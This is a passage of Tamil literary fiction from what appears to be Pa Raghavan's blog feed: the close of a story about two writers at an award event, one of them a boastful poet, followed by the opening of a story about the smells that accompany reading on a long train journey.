‘நீங்கள் குளித்து டிபன் சாப்பிட்டு ஓய்வெடுங்கள். மாலை விழாவுக்கு அழைத்துச் செல்ல ஐந்து மணிக்கு வண்டி வந்துவிடும்’ என்று சொல்லிவிட்டு விழா அமைப்பாளர்கள் போய்விட்டார்கள். கவர்னரும் யாரோ ஒரு மத்திய அமைச்சரும் விழாவுக்கு வருவதாகச் சொன்னார்கள். கவர்னருக்குக் கவிதை கதையெல்லாம் ஒத்துக்கொள்ளுமா என்று அவன் கேட்டான். உரக்கப் பேசாதே, அவர் பங்குக்கு ஒரு தொகுப்பை எடுத்து நீட்டிவிட்டால் நீயும் நானும் காலி என்று அவன் காதோடு சொன்னேன். அவன் சிரித்தான்.


அன்று மதியம் வரை நாங்கள் குளிக்கக்கூட இல்லை. ஒப்புக்கு நாலு பூரி சாப்பிட்டுவிட்டு, அரை மணிக்கொருதரம் தேநீர் குடித்தபடி ஏதேதோ பேசிக்கொண்டே இருந்தோம். மழையில் நனைந்தபடியே கொஞ்சம் வெளியே சுற்றினோம். என் ஆங்கிலத்தைவிட அவன் பேசிய ஆங்கிலம் சிறிது சுத்தமாக இருப்பது போலப் பட்டது. இந்த உணர்வு ஒரு பெரும் இம்சை. அசந்தால் தாழ்வு மனப்பான்மையாக உருப்பெற்றுவிடும். அப்புறம் இலக்கியம் பேச முடியாது. எனவே நான் குற்றம் கண்டுபிடிக்க முடியாதபடி ரொம்ப வேகவேகமாகப் பேச ஆரம்பித்தேன்.


நீ ஏன் கவிதை எழுதுவதில்லை என்று அவன் என்னைக் கேட்டான். யோசித்தேன். இதுவும் தாழ்வு மனப்பான்மைதான். எனக்கு அத்தனை உயரம் சாத்தியமில்லை என்று பதில் சொன்னேன். அவனுக்கு ரொம்ப ஆச்சரியமாகப் போய்விட்டது. ‘நீ அப்படியா சொல்கிறாய்?’ என்று திரும்பத் திரும்பக் கேட்டான்.


‘ஏன் இத்தனை சந்தேகம்? என் மொழியில் கவிதையின் உச்சம் தொட்ட படைப்பாளிகள் பலர் இருக்கிறார்கள். உலகத்தரம் என்பதை நியாயமாக அவர்களை வைத்துத் தீர்மானிக்க வேண்டும். துரதிருஷ்டம், தமிழ் கடல் தாண்டாது’ என்று பதில் சொன்னேன். ரொம்ப வருத்தப்பட்டான். அவனுக்கு முப்பது வயதிலேயே ஆங்கில மொழிபெயர்ப்பு சாத்தியமாகிவிட்டிருக்கிறது. ஆங்கிலத்தில் இருந்து பிரெஞ்சு, இத்தாலி, ஸ்பானிஷ் என்று ஏழெட்டு வருடங்களில் மூன்று மொழி மாற்றங்கள் சித்தித்திருக்கின்றன.


‘ஒரு இத்தாலியப் பத்திரிகையில் என் கவிதையை வெளியிட்டு இந்திய மதிப்புக்கு பத்தாயிரம் ரூபாய் சன்மானம் அனுப்பியிருந்தார்கள்!’ என்றான். அடேயப்பா. பத்தாயிரம் ரூபாய்! நான் உடனே கேட்டேன். அந்தப் பணத்தை என்ன செய்தாய்?


அவன் சில வினாடிகள் யோசித்தான். பிறகு, ‘நாலு நாள் கோவாவுக்குப் போனேன். இரண்டு பெண்களை உடன் அழைத்துப் போயிருந்தேன். குடித்து, கொண்டாடித் தீர்த்தேன். உண்மையில் நான் அந்தக் கவிதையை எழுதியபோதுகூட அத்தனை பெரிய கவிஞனாக உணரவில்லை. கோவாவில்தான் அதை முழுதாக உணர்ந்தேன்’ என்று சொன்னான்.


எனக்கு உள்ளங்காலெல்லாம் சூடாகிவிட்டது. பேச்சு மூச்சில்லை. சொன்னேனே, கிளுகிளுப்பு. இது மேடைக் கிளுகிளுப்பைக் காட்டிலும் பெரிது. எப்படி? எப்படி? அந்த அனுபவத்தைச் சொல்லு என்று அவனை மேலும் தூண்டினேன். அவன் சிரித்தான். ‘இரு. நீ யாரையாவது காதலித்திருக்கிறாயா?’ என்று கேட்டான்.


‘அட எனக்கந்தக் கொடுப்பினை இல்லையப்பா. நீ விஷயத்தைச் சொல்லு.’


‘நான் சுமார் முன்னூறு பெண்களைக் காதலித்திருக்கிறேன். யாரை வட்டம் போடுகிறேனோ அவள் தன்னால் வந்து விழுந்துவிடுவாள். இது என் ராசி’ என்றான்.


ஆள் பார்க்கக் கொஞ்சம் ஷோக்காகத்தான் இருந்தான். முன் நெற்றியில் லேசாக வழுக்கை விழத் தொடங்கியிருந்தாலும் நீளமான முடியால் அதை மறைத்திருந்தான். பேப்பரில் கப்பல் செய்தால் நடுவில் ஒரு முக்கோண நீட்டல் வருமே. அப்படி இருந்தது அவன் மூக்கு. கொஞ்சம் பூனைக் கண்ணோ? கன்னம் ஒட்டித்தான் இருந்தது. ஆனாலும் ஒரு கவர்ச்சி இருந்தது. கவிஞன் என்பதால் வந்த கவர்ச்சியாயிருக்கலாம்.


‘ஆனால் நான் பழகும் பெண்களிடம் கவிதை பற்றிப் பேசுவதேயில்லை’ என்றான். ரொம்ப கெட்டிக்காரன். பெண்டாட்டியிடம் கம்யூனிசம் பேசமாட்டான். கவிதையில் பெண்டாட்டி பிள்ளையைப் பற்றிக் குறிப்பிட மாட்டான். உத்தியோகம் பார்க்கும் இடத்தில் தான் ஒரு கவிஞன் என்பதையேகூடக் காட்டிக்கொள்ள மாட்டான்.


அவனே சொன்னதுதான் இதெல்லாம். ‘ரொம்ப சின்ன வாழ்க்கை நமக்கு. பைபிள் காலத்து மக்கள் மாதிரி தொள்ளாயிரம் வருஷம், எண்ணூறு வருஷமெல்லாமா வாய்ச்சிருக்கு? இருக்கறதுக்குள்ள வாழ்ந்துடணும்.’


நான் யோசிக்க ஆரம்பித்தேன். வாழ்வது என்பதுதான் என்ன? பெண்பிள்ளை சகவாசம் இல்லை என்றால் வாழ்க்கையே அர்த்தமற்றதுதானோ?


‘அப்படியில்லே. ஒவ்வொரு பெண்ணும் ஒரு தொகுப்பு. ஒவ்வொரு தொகுப்பும் ஒரு வாழ்க்கை. நீ கொஞ்சம் கவிஞனாகணும். அப்போ புரியும். வெறும கதை எழுத பொண்டாட்டி போதும். கவிதைக்கு சிநேகிதிகள் அவசியம்’ என்றான்.


சரிதான், ஒருதரம் கவிஞனாகிப் பார்த்தால் போகிறது.


உடனே அவன் பரவசமுடன் எழுந்துகொண்டான். ‘இன்னிக்கே?’ என்று கேட்டான். டேய், இது அசலூர். நாம் விருது பெற வந்திருக்கிறோம். இங்கே என்னவாவது விவகாரத்தில் மாட்டிக்கொண்டு அசிங்கப்பட நான் தயாரில்லை என்று கறாராகச் சொல்லிப் பார்த்தேன். அவன் கேட்பதாயில்லை.


‘நீ வா என்னோடு’ என்று கையைப் பிடித்துத் தரதரவென்று அறையைவிட்டு வெளியே அழைத்து வந்தான். அந்த நீளமான வராண்டாவில் அப்போது நாங்கள் இரண்டு பேர் மட்டுமே நின்றுகொண்டிருந்தோம். வெளியே மழை விட்டபாடில்லை. இப்படி மழை பெய்தால் விழாவுக்குக் கைதட்ட யார் வருவார்கள் என்று எனக்குக் கவலையாக இருந்தது. மறுநாள் தொலைக்காட்சி, பத்திரிகைகளில் எல்லாம் எங்கள் பேட்டிகளும் போட்டோக்களும் வரப் போகின்றன. உருப்படாமல் போகப் போகிறேன் என்று தீர்மானமாக நம்பிக்கொண்டிருந்த என் குடும்பத்துக்கு இந்த விருதின் மூலம் கொஞ்சம் நம்பிக்கையளிக்க நான் போட்டிருந்த திட்டத்தையெல்லாம் அவனுக்கு எடுத்துச் சொல்ல நினைத்தேன்.


அவனா கேட்பவன்? ‘நண்பா, ஒன்று இரண்டு மூன்று என்று ஐந்நூறு வரை எண்ணு. எண்ணிக்கொண்டே இரு, இதோ வருகிறேன்’ என்று எனக்குக் கட்டளை இட்டுவிட்டு விறுவிறுவென்று படியிறங்கிப் போய்விட்டான்.


எனக்கு பயம் பிடித்துக்கொண்டது. ஏதாவது இசைகேடாக ஆகிவிட்டால் என்ன செய்வது? ஆனால் அவன் எதற்கும் துணிந்தவன் போலிருக்கிறது. எப்படியோ இருந்துவிட்டுப் போகட்டும். என்னை சாட்சியாக வைத்துக்கொண்டு எதற்கு இப்படியெல்லாம் திருவிளையாடல் நடத்த நினைக்கிறான்? மொழியே புரியாவிட்டாலும் அவனைக் கவிஞனாக ஏற்றுக்கொள்வதில் எனக்கு எந்தவித மனச்சிக்கலும் இல்லை. ஆனால் களியாட்டம்தான் கவிஞனின் கல்யாணகுணம் என்று நிறுவ நானா அகப்பட்டேன்?


கொஞ்சம் படபடப்பாக இருந்தது. சத்தமில்லாமல் அறையைக் காலி செய்துவிட்டு எங்காவது ஓடிவிடலாமா என்று தோன்றியது. அவன் அதிக நேரம் எடுத்துக்கொள்ளவில்லை. சீக்கிரமே அறைக்குத் திரும்பிவிட்டான். நல்லவேளை தனியாக வந்தானே என்று கொஞ்சம் ஆசுவாசப்பட்டேன். ம்ஹும். இப்போது அவன் கையில் ஒரு பை இருந்தது. உள்ளிருந்து நான்கு பீர் பாட்டில்களை எடுத்து வெளியே வைத்தான்.


‘குடிப்பாய் அல்லவா?’


நான் ஒன்றும் சொல்லவில்லை. அவனே ஒன்றைப் பல்லால் கடித்துத் திறந்து என் கையில் கொடுத்தான். ‘நீ ஒரு கவிஞனே இல்லை’ என்று சொல்லிவிட்டு பாட்டிலை நகர்த்தி வைத்தேன்.


‘ஏன்?’


வெளியே மழை பிய்த்துக்கொண்டு ஊற்றுகிறது. இந்த நேரத்தில் ஜில்லென்று பீர் வாங்கி வருவது என்ன ரசனை?’


அவன் சிரித்தான். நடு ராத்திரி ஐஸ் க்ரீம் சாப்பிடும் ரசனைதான் என்று சொன்னான்.


‘இதோ பார், மாலை விழா இருக்கிறது. அமைப்பாளர்கள் ஐந்து மணி என்று சொன்னாலும் கவர்னர் வருவதால் இன்னும் சீக்கிரமே நம்மை அழைத்துப் போக வந்தாலும் வந்துவிடுவார்கள். இதெல்லாம் ரொம்பத் தப்பு.’


அவன் கவனித்ததாகவே தெரியவில்லை. யாரோ ரெடி, ஸ்டெடி, ஒன் டூ த்ரீ, கோ என்று சொன்னது மாதிரி ஒரு பாட்டிலைத் திறந்து ஒரே மூச்சில் கடகடவென்று குடித்து முடித்துவிட்டு பொத்தென்று கீழே வைத்து ஒரு தரம் மூச்சு விட்டான். சிரித்தான். எனக்குக் கொஞ்சம் பயமாக இருந்தது.


மீண்டும் ரெடி ஸ்டெடி ஒன் டூ த்ரீ. அடுத்த பாட்டில். அதுவும் ஒரே மூச்சு.


‘டேய் பாவி, போதும்!’ என்று கத்தினேன்.


‘அவ்ளோதான்’ என்றான்.


‘அப்ப எதுக்கு நாலு பாட்டில் வாங்கினே? எனக்கு இதெல்லாம் வேணாம்.’


அவன் ஒரு கணம் என்னை உற்றுப் பார்த்துக் கண்ணைச் சிமிட்டினான். ‘அவ இப்ப வருவா. அவளுக்கு வேண்டியிருக்கும்.’


தூக்கிவாரிப் போட்டுவிட்டது எனக்கு. சரியான கிறுக்கனாயிருப்பான் போலிருக்கிறதே. எனக்கு பயமும் பதற்றமும் பிடித்துக்கொண்டது. சட்டென்று ரொம்பத் தீவிரமாகிவிட்டேனோ? வெளியே மழை மட்டும் இல்லையென்றால் கண்டிப்பாக வெளியேறியிருப்பேன். இதென்ன ரோதனை!


அதற்குப் பின் அவனோடு பேசவில்லை. ஒரு ஓரமாகப் போய் உட்கார்ந்துகொண்டேன். மேசை மீது அவனது கவிதைத் தொகுப்பின் ஆங்கில மொழிபெயர்ப்பு நூல் இருந்தது. பார்க்கக் கொஞ்சம் எரிச்சலாக இருந்தது. அவன் யாரை வரச் சொல்லிவிட்டு வந்திருக்கிறான் என்று தெரியவில்லை. ஆனால் அறைக்குள் இன்னொரு நபர் யார் நுழைந்தாலும் நான் கண்ணை மூடிக்கொண்டு வெளியேறிவிடுவது என்று முடிவு செய்தேன்.


‘ஆனால் நண்பா, அதுவரை நீ என் புத்தகத்தைப் புரட்டலாமே? என் கவிதைகள் உன்னை ஏமாற்றாது’ என்று சொன்னான். சட்டென்று எனக்குச் சிரிப்பு வந்துவிட்டது. காலை ரயில் நிலையத்தில் அவன் ஆனந்தமயமாக என்னைக் கட்டித் தழுவி வரவேற்ற காட்சி நினைவில் வந்தது. சரி, அதற்காகவாவது படிக்கலாம் என்று எடுத்துப் பிரித்தேன்.


அறைக்கதவு தட்டப்படும் சத்தம் கேட்டது. இரு, ஓடிவிடாதே என்று சொல்லிவிட்டு அவன் போய்க் கதவைத் திறந்தான். அந்தப் பெண் உள்ளே நுழைந்ததும் உடனே கதவை அடைத்துத் தாழ்ப்பாள் போட்டான்.


இதற்குமேல் நான் எங்கே கவிதை படிப்பது? நடப்பதை நம்பவும் முடியாமல் நிராகரிக்கவும் முடியாமல் அச்சமும் கவலையுமாக இருவரையும் மாறி மாறிப் பார்த்தேன்.


‘உட்கார்’ என்று அவன் சொன்னான். அந்தப் பெண் கட்டில்மீது உட்கார்ந்தாள். குடிக்கிறாயா என்று கேட்டுவிட்டு ஒரு பாட்டிலை எடுத்தான். அவள் வேண்டாம் என்று சொன்னாள். அவன் வற்புறுத்தவில்லை. தானே கொஞ்சம் குடித்துவிட்டு பாட்டிலை வைத்தான். ‘இவன் என் நண்பன். பெரிய எழுத்தாளன்’ என்று என்னை வேறு அறிமுகம் செய்தான். நானாவது அவனது கவிதைத் தொகுப்பைத் தொட்டுப் பார்த்துவிட்டேன். அவனுக்கு என் கதைகளில் ஒன்றைக்கூடத் தெரியாது. புத்தகத் தலைப்புகூடத் தெரியாது. ஆனாலும் பெரிய எழுத்தாளன் என்று சொல்கிறான்! என்ன ஒரு மனசு.


அவள் எனக்குப் பணிவுடன் வணக்கம் சொன்னாள். நான் பதிலுக்குச் சொல்லவில்லை என்று ஞாபகம். மணி பார்த்தேன். மதியம் இரண்டை நெருங்கிக்கொண்டிருந்தது. சாப்பிட வேண்டும் என்று அவனுக்கு ஞாபகப்படுத்தினேன். ‘சாப்பிடேன்?’ என்று சிரித்தான். பயங்கர எரிச்சலாக இருந்தது. ஒரு முடிவுடன் வேகமாக எழுந்து போய்க் கட்டிலில் இருந்து ஒரு தலையணையை எடுத்துத் தரையில் போட்டேன். ஒரு பெட்ஷீட்டை உருவி விரித்தேன். சுவரைப் பார்க்கத் திரும்பிப் படுத்து கண்ணை மூடிக்கொண்டுவிட்டேன். மாலை விழா முடிந்து இரவு ரயிலேறிவிட்டால் இவன் யாரோ நான் யாரோ. நெஞ்சார ஒருமுறை கட்டித் தழுவியதற்காக இந்தக் கருமாந்திரங்களையெல்லாம் என்னால் சகித்துக்கொள்ள இயலாது என்று எனக்குள் சொல்லிக்கொண்டேன்.


அவன் நாலைந்து முறை என்னைக் கூப்பிட்டான். நான் வம்படியாகக் கண்ணைத் திறக்கவேயில்லை. அப்படியே தூங்கியும் இருக்கிறேன். பொதுவாகப் பசி இருந்தால் தூக்கம் வராது. ஆனால் பயம் இருந்தால் வரும் போலிருக்கிறது. எத்தனை நேரம் தூங்கினேன் என்று தெரியவில்லை. கண் விழித்துப் பார்த்தபோது அவன் கட்டில்மீது தனியே அமர்ந்து ஏதோ எழுதிக்கொண்டிருந்தான். அவளைக் காணோம். கொஞ்சம் நிம்மதியாக இருந்தது. எழுந்து உட்கார்ந்து அதிகாரமாக, ‘ஒரு காப்பி சொல்லு’ என்றேன்.


கதவு தட்டப்படும் சத்தம் கேட்டது. என்ன ஆச்சரியம்? ஏற்கெனவே அவன் காப்பிக்குச் சொல்லியிருக்கிறான். நான் நன்றியுடன் பார்த்தேன். ‘எனக்குத் தூங்கி எழுந்ததும் காப்பி வேண்டும். அதுவும் உடனடியாக.’


‘குடி’ என்றான்.


குடித்து முடித்துவிட்டு, ‘சொல்லு. அவ யாரு? எப்ப போனா?’ என்றேன். நான் எப்பேர்ப்பட்ட எழுத்தாளன், எத்தனை சொற்சிக்கனம் மிக்கவன் என்பது அவனுக்குப் புரிந்திருக்க வேண்டும்.


எழுந்து வந்து என் அருகே அமர்ந்தான். ‘ஒண்ணும் நடக்கலே. சும்மா ஒரு முத்தம் மட்டும் கொடுத்தேன். அவ்ளோதான். அனுப்பிட்டேன்’ என்றான்.


என்னால் நம்பமுடியவில்லை. நிஜமாவா நிஜமாவா என்று ஏழெட்டு தரம் கேட்டேன்.


‘ புது ஊர். புது இடம். எதிர்பாராத மழை. நல்லாருக்கும்னு நெனச்சது வாஸ்தவம்தான். ஆனா ஒரு முத்தம் குடுத்ததுமே ஒரு கவிதை வந்துடுச்சி. அதுக்குமேல அவ இடைஞ்சல். அதான் அனுப்பிட்டேன்’ என்றான்.


O


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on January 15, 2015 12:15

January 14, 2015

காம்யுவின் வாசனை

என் வீட்டிலிருந்து சுமார் ஆயிரத்தி எழுநூறு கிலோ மீட்டர் தூரம் என்பதே முதலில் பிரமிப்பாக இருந்தது. அத்தனை பெரிய தூரத்துக்கு அதற்குமுன் நான் தனியாகப் போனதே இல்லை. கிளம்புவதற்கு இரண்டு நாள்கள் முன்பிருந்தே எனக்குப் பதற்றம் பிடித்துக்கொண்டது. வழியில் படிப்பதற்கென்று தேடித்தேடிப் புத்தகங்களை எடுத்து வைத்தேன். ஆ, இந்தப் புஸ்தகம் எடுத்து வைப்பது எப்போதுமே சிக்கல் பிடித்த காரியம். சில புத்தகங்களை வீட்டில் மட்டும்தான் படிக்க முடியும். சிலவற்றைப் பேருந்து நிறுத்தங்களில், குட்டிச் சுவர்களின் பக்கம் சாய்ந்தவாறு, பூங்கா சிமெண்டு நாற்காலிகளில் அமர்ந்தவாறு படித்தால்தான் சரியாக வரும். இன்னும் சில புத்தகங்களை – தவறாக நினைக்காதீர்கள். கக்கூசுக்கு எடுத்துச் சென்று படித்தால் மட்டுமே சுகமாக இருக்கும். இதெல்லாம் புத்தகங்களின் பிரச்னையா, அல்லது படிக்கிறவன் கிறுக்குத்தனமா என்று எனக்குத் தெரியாது. வருஷக்கணக்காக இப்படித்தான்.


சொன்னால் நம்புவீர்களா? தாமிரபரணிக் கதைகள் என்றொரு புஸ்தகம். சின்ன புஸ்தகம்தான். வேகமாகப் படித்தால் ஒரு மணிநேரம் காணாது. இதை விட்டுவிட்டு ஏழெட்டு தவணையில் மாடிப்படி வளைவுச் சந்தில் நின்றேதான் வாசித்து முடித்தேன். பார்த்துவிட்டால் யாரோ கபாலென்று பிடித்துக் கொண்டு போய் லாக்கப்பில் போட்டுவிடப் போகிறார்களா என்ன? ஆனாலும், சொன்னேனே கிறுக்குத்தனம். அதுதான் காரணமாயிருக்க வேண்டும். முதல் தடவையோடு முடிந்ததென்று எண்ணாதீர்கள். ஒவ்வொரு முறை அந்த நூலை வாசிக்க எடுக்கும்போதும் மாடிப்படி முட்டுச் சந்துக்குத்தான் போவேன்.


ரொம்ப யோசித்தால் ஒரு காரணம் சொல்லலாம். எந்தப் புஸ்தகத்தையும் பின்னொரு காலம் நினைத்துப் பார்க்கும்போது அதை வாசித்த சூழலையும் சேர்த்து நினைத்துக்கொண்டால் தனியொரு வாசனை அகப்படும். ஆனால் ஆயிரத்தி எழுநூறு கிலோ மீட்டர் தூரத்தைக் கடக்கும்போது எத்தனையோ பலவித வாசனைகளைத் தாண்டித்தான் போகவேண்டியிருக்கும். ரயிலுக்கென்று ஒரு வாசனை உண்டா என்ன. இரும்பு அல்லது அழுக்கின் வாசனை என்பது தாளிப்பு மாதிரிதான். அடிப்படை வாசனை அது நின்று போகும் ஸ்டேஷன்களில் சத்தமில்லாமல் ஏறிக்கொள்வது. குரோம்பேட்டை ஸ்டேஷன் வாசனை பல்லாவரம் ஸ்டேஷனுக்குக் கிடையாது. சைதாப்பேட்டையின் வாசனை மாம்பலத்தை அடையும் முன்பே கீழே குதித்துவிடும். இந்தப் பக்கம் தெற்கே போகிற ரயில் விழுப்புரத்துக்குள் நுழைந்துவிட்டாலே தனியொரு வினோதமான வாசனை ஓடி வந்து மூச்சை நெறிக்கும். தென்னாற்காடு ஜில்லா தாண்டும் வரைக்கும் அந்த வாசனைதான் அப்புறம். திருச்சி, மதுரைப் பக்கம் போனால் ரயிலில் வேறொரு வாசனை ஏறிவிடும். இதுவே திருநெல்வேலி வரை போனால் முற்றிலும் இன்னொரு வாசனை. நெல்லை ஜங்ஷனில் கூட்டத்தை இறக்கிவிட்டுவிட்டு நாகர்கோயிலை நோக்கி நகரும்போது ரயிலே அலம்பிவிட்ட மாதிரி இருக்கும். கொஞ்சநேரம் வாசனைகளற்ற காற்று பெட்டியை நிரப்பியிருப்பது போலத் தோன்றும். அந்த நேரங்களில் என்னவாவது படித்துக்கொண்டிருந்தால் புத்தியில் ஏறவே ஏறாது. வாசிக்கும்போது ஒரு வாசனை தேவைப்படுகிறது. நல்லதா கெட்டதா என்பதல்ல. ஒரு ஞாபகத்துக்கு. கண்டிப்பாகத் தேவை. குறைந்தபட்சம் எனக்கு.


ஆயிரத்தி எழுநூறு கிலோ மீட்டர்கள். எனவே ரொம்ப கவனமாகப் புத்தகங்களைத் தேர்ந்தெடுத்திருந்தேன். எதுவும் இருநூறு பக்கங்களுக்கு மேற்படாதவையாக. ரெண்டு கதைப் புத்தகங்கள், மூன்று கட்டுரைத் தொகுப்பு, அப்புறம் ஒரு நாவல். ஆ, சொல்லாதிருக்கலாமா?! கவிதை நூல்களை, நான் வங்கிக்குப் போகும்போது மட்டுமே வாசிப்பது. பணம் போடுகிறவர்கள் மற்றும் எடுப்பவர்களின் நடமாட்டங்களுக்கு இடையே மிதமான ஏசி குளிர்ச்சியில், பணம் எண்ணும் இயந்திரம் அவ்வப்போது கடகடகடவென்று ஓடும் சத்தம் கேட்கவேண்டும். எப்போது நுழைந்தாலும் ஆபீசருக்கு ஒரு பையன் டீ எடுத்துக்கொண்டு போவான். ஏலக்காய் போட்ட அந்தத் தேநீரின் சுகந்த நறுமணம் திருட்டுத்தனமாக கிளாசை விட்டு இறங்கி மிதந்து வந்து என் நாசிக்கு ஏறும்போதுதான் கவிதையை ரசிக்கத் தோன்றும். காசை மட்டுமே எண்ணும் பிராந்தியத்தில் கவிதையை எண்ணிக்கொண்டிருப்பது ஒரு சொகுசு. எப்போதாவது முயற்சி செய்து பாருங்கள்.


0


ரயிலேறிவிட்டேன். உடனே புஸ்தகத்தை எடுத்துவிடலாமென்று தோன்றியது. ஆனால் புத்தி தோயுமா? சரி, கொஞ்ச நேரம் போகட்டுமே? எதிர் இருக்கைகளை ஒரு குடும்பம் நிரப்பியிருந்தது. அவர்கள் நம் ஊர்க்காரர்கள் அல்லர். ஆயிரத்தி நாநூறுக்கும் எழுநூறுக்கும் இடையே உள்ள கிலோ மீட்டர்களில் எங்கோ இறங்கவேண்டிய குடும்பத்தார். அந்தப் பிராந்தியத்து மொழி பேசுகிறவர்கள். ஒரு சாஸ்திரத்துக்கு ஹலோ சொன்னார் குடும்பத் தலைவர். நானும் சொன்னேன். முடிந்தது கதை. அவரது மனைவியோ இரண்டு மகள்களோ என் பக்கம்கூடத் திரும்பவில்லை. வண்டி ஏறியதுமே அந்த அம்மாள் ஒரு பெரிய சணல் பைக்குள் இருந்து இரண்டு அடுக்குப் பாத்திரங்களை வெளியே எடுத்து வைத்தாள். அப்பப்பா. ஊரே தின்னுமளவுக்கு ஒன்றன்மீது ஒன்றாக எத்தனை சப்பாத்திகள்! இன்னொரு பாத்திரத்தில் காய்கறிகள் போட்ட கூட்டு இருந்தது. அம்மாள் புத்திசாலித்தனத்துடன் ஒரு கரண்டியும் எடுத்து வந்திருந்தாள்.


வண்டி கிளம்பியதுமே மொத்தக் குடும்பமும் கையில் ஆளுக்கொரு காகிதத் தட்டை ஏந்திக்கொள்ள, அந்த அம்மாள் முதல் சுற்றில் தலா நான்கு சப்பாத்திகளும் தாராளமாகக் காய்கறிக் கூட்டையும் போட்டாள். ருசிக் கலைஞர்களுக்கு நான் சொல்லுவது புரியும். சப்பாத்திக் கூட்டில் பருப்பின் வாசனைதான் மேலோங்கியிருக்க வேண்டும். மற்றதல்ல. வேறெதுவுமல்ல. ஆனால் இந்த அம்மாள் பரிமாறிக்கொண்டிருந்த கூட்டில் கிராம்பு மற்றும் இலவங்கப்பட்டை வாசனைதான் தூக்கலாக இருந்தது. எனக்கு மூச்சை அடைத்தது. அந்தப் பெரிய பாத்திரத்தில் எப்படியும் சுமார் நாற்பது சப்பாத்திகள் இருக்கும் என்று தோன்றியது. இந்த வேளைக்கு அந்தக் குடும்பம் இருபது சப்பாத்திகளைத் தின்று தீர்த்தாலும் அடுத்த இரு வேளைகளுக்கு தாராளமாகக் காணும். அட தெய்வமே. இந்தப் பயணம் முழுவதற்கும் கிராம்பு மற்றும் இலவங்கப்பட்டை வாசனைதானா! பரிசோதகருக்குப் பத்திருபது கொடுத்து இருக்கையை மாற்றிக்கொள்ள முடியுமா என்று யோசித்தேன். ம்ஹும். எனக்கு பதிலாக கிராம்பு மற்றும் இலவங்கப்பட்டை வாசனையை விரும்பக்கூடிய வேறு யாராவது இங்கே வரச் சம்மதிக்க வேண்டும். அதெல்லாம் நடக்காத காரியம்.


ரயில் வண்டி திருவள்ளூரைத் தாண்டிக்கொண்டிருந்தது. மேற்படி குடும்பம் முதல் சுற்றுச் சப்பாத்திகளைத் தின்று முடித்துவிட்டு மீண்டும் தட்டுகளை நீட்ட, அந்த அம்மாள் மேலும் தலா இரண்டு சப்பாத்திகளை வைத்து, கூட்டை மேலே விட்டாள். நான் பார்த்துக்கொண்டே இருந்தேன். கொஞ்சம் கலவரமாகத்தான் இருந்தது. ஒவ்வொருவர் வயிறின் கொள்ளளவு ஒவ்வொரு மாதிரி இருக்காதா? அதெப்படி குடும்பமே ஆறு சப்பாத்தி தின்னும்? என்னால் மூன்று சப்பாத்திகளுக்கு மேல் எப்போதும் முடிந்ததில்லை. அதிலும் முதல் சப்பாத்திக்கு நான் எதையும் தொட்டுக்கொள்வதில்லை. நெய் விட்டுச் சுட்ட சப்பாத்தியின் நறுமணத்தைப் பருப்புக் கூட்டின் வாசனை கபளீகரம் செய்துவிடும். எனவே முதல் சப்பாத்தி நெய்யை கௌரவிப்பதற்காக. அடுத்ததை கொஞ்சம் போல் கூட்டு சேர்த்து, தொட்டுத் தொட்டுச் சாப்பிட்டுவிட்டு, மூன்றாவதில் சற்று தாராளமாகவே பருப்பைச் சேர்த்து கிட்டத்தட்ட பிசைந்தே சாப்பிடுவேன். ருசியின் பூரணம் என்பது வாசனையின் அரவணைப்பைச் சார்ந்தது. வீடு வரை மனைவி மாதிரி சாப்பிடும் வரைதான் ருசி. இந்த விதத்தில் வாசனையானது வீதி வரை உறவு போன்றது.


வண்டி அரக்கோணத்தில் நின்றபோது வேறொரு புதிய நபர் வந்து சேர்ந்தார். சுமார் நூற்று முப்பத்தியேழு வருடங்களாக என்னை அறிந்தவர் போல, நெருங்கும்போதே ஒரு புன்னகை. ஹலோ என்று கை கொடுத்தார். எனக்கு புருவத்துக்குமேல் அரித்தது. அவருக்குக் கொடுத்த கையை உயர்த்தி அரித்த இடத்தில் சொரிந்துகொள்ளச் சென்றபோது குப்பென்று அத்தர் வாசனை அடித்தது. ஆண்டவனே, இதுவும் கடந்து போகவேண்டிய வாசனையே அல்லவா. எப்படி இருபத்தியாறு மணி நேரம் இதில் நீந்த முடியும்?


என் பதற்றம் வினாடிக்கு வினாடி அதிகரித்துக்கொண்டே இருந்தது. இந்தப் பிரச்னையில் இருந்து விடுபட எனக்கிருந்த ஒரே வழி இதனைத் தாற்காலிகமாக மறப்பதுதான். ஆனால் அது எப்படி முடியும்? வண்டி ஜோலார்பேட்டையில் நிற்கும்போதெல்லாம் காற்றில் ஒரு சுகந்தமான மசால் வடை மடித்த பேப்பரின் வாசனை மிதந்து வரும். அது போச்சு. ஆந்திரப் பிரதேசத்துக்குள் நுழைந்து வேகமெடுக்கும் தருணங்களில் – பெரும்பாலும் அது அதிகாலை நேரம் – குப்பென்று நெல் வாசனை அடிக்கும். நெல் வாசனைக்கும் வைக்கோல் வாசனைக்கும் மெல்லிய வித்தியாசம் உண்டு. இரண்டுமே சுகந்தமானவைதான் என்றாலும் நெல் வாசனையில் கொஞ்சம் ஈரம் கலந்திருக்கும். வைக்கோலின் வாசனைக்கு ஒரு முரட்டுத்தனம் மிடுக்கைக் கொடுக்கும். நீங்கள் எப்போதாவது வைக்கோல் போரில் சாய்ந்தபடி சுந்தர ராமசாமியின் கதைகளை வாசித்ததுண்டா? அபாரமாக இருக்கும். இதே ஜானகிராமனைப் படிப்பதற்கு ஏற்ற வாசனை, அழுக்குப் போர்வையில் கிட்டும். உள்ளதிலேயே அழுக்கான, பழைய போர்வை ஒன்றைப் போர்த்திக்கொண்டு, கொட்டும் மழை நாளில் செம்பருத்தி வாசித்தால் சோறு தண்ணி வேண்டியிருக்காது. அச்சிட்ட எழுத்துகள் ஒவ்வொன்றும் போர்வையின் வாசனையை உறிஞ்சி நாசியை நோக்கிப் பீய்ச்சும். கதை புத்திக்குள் இறங்கும்போது போர்வையின் கதகதப்பு உருவாக்கியிருக்கும் வியர்வைப் பிசுபிசுப்பும் வாசனையாக உருப்பெற்று ஒரு நெடியை உருவாக்கும். ஆ, அபாரம். விவரிக்கவே முடியாது அதை.


